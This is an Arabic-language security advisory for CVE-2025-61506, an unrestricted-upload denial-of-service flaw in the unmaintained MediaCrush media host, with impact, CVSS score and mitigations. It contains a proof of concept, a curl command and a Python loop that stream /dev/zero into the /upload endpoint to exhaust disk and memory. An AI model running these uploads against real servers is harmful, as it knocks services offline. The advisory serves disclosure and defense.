
ثغرة رفض الخدمة (DoS) نتيجة رفع ملفات غير مقيدة تم اكتشافها في MediaCrush حتى الإصدار 1.0.1 (CVE-2025-61506)
تم اكتشاف ثغرة في MediaCrush حتى الإصدار 1.0.1 تسمح للمهاجمين غير المصادقين عن بُعد برفع ملفات عشوائية بأي حجم إلى نقطة النهاية /upload. الثغرة: رفع ملفات غير مقيد (CWE-434) معرف CVE: CVE-2025-61506 تاريخ الاكتشاف: 18 سبتمبر تاريخ التعيين: 9 أكتوبر المكون المتأثر: mediacrush/upload.py, app.py (نقطة نهاية رفع Flask) الإصدارات المتأثرة: جميع الإصدارات (آخر commit 8f4b2a3f، حوالي 2014) التأثير: رفض الخدمة (DoS) الشدة: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
تسمح نقطة النهاية /upload في MediaCrush (mediacrush/upload.py) للمهاجمين غير المصادقين برفع ملفات كبيرة بشكل تعسفي دون حدود للحجم أو التحقق من نوع MIME أو تحديد معدل. يؤدي هذا إلى رفض الخدمة عن طريق استنزاف مساحة التخزين على القرص (./storage الافتراضي)، وإغراق Redis وعمال Celery، وتعطل التطبيق. تؤثر الثغرة على جميع مثيلات MediaCrush (محلية أو منشورة على الشبكة) بسبب عدم وجود التحقق من صحة الإدخال في معالج الرفع المبني على Flask. نظرًا لأن المشروع غير مُدار (آخر تحديث 2014)، لا يوجد إصلاح.
قم بإعداد مثيل محلي لـ MediaCrush (حسب README: Python 2.7، Flask 0.10.1، Redis، Celery).
قم بتشغيل التطبيق (python app.py) وعامل Celery (celery worker -A mediacrush -Q celery,priority).
نفذ الأمر التالي لرفع ملف كبير:
curl -F "file=@/dev/zero" http://localhost:5000/upload
أو استخدم نص Python للرفع المتعدد:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
النتيجة: تمتلئ مساحة التخزين على القرص (على سبيل المثال، /tmp/storage)، وتتعطل عمال Celery بسبب نفاد الذاكرة (OOM)، وتفشل عمليات الرفع الجديدة (HTTP 500/413). يرتفع استخدام ذاكرة Redis بشكل كبير.
رفض الخدمة: يملأ القرص، ويعطل التطبيق، ويمنع عمليات الرفع الجديدة أو تقديم الوسائط.
إساءة استخدام التخزين: يمكن للمهاجمين استخدام MediaCrush كتخزين غير محدود مجاني للملفات الضارة (مثل المحتوى المقرصن).
تكلفة سحابية: إذا كان مجلد التخزين مدعومًا بالسحابة (مثل AWS S3)، فإنه يتسبب في فواتير كبيرة.
يؤثر على أي نشر ذاتي لـ MediaCrush حتى الإصدار 1.0.1.
فرض حدود حجم الرفع من جانب الخادم باستخدام إعداد MAX_CONTENT_LENGTH في Flask وتوجيهات client_max_body_size لخادم الويب (على سبيل المثال، nginx). قم بتنفيذ التحقق المناسب من الملفات وتحديد المعدل لمنع استنزاف الموارد.
نظرًا لأن المشروع غير مُدار، يجب على المستخدمين عمل fork وتصحيحه أو تجنب النشر.
مستودع MediaCrush: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
تم اكتشافه أثناء تدقيق مكافآت الثغرات للمشاريع مفتوحة المصدر.
لم يتم العثور على CVEs سابقة لـ MediaCrush (تم البحث في NVD وإشعارات GitHub).
المشروع غير مُدار؛ لا يُتوقع رد من البائع ([email protected]، IRC #mediacrush غير نشط).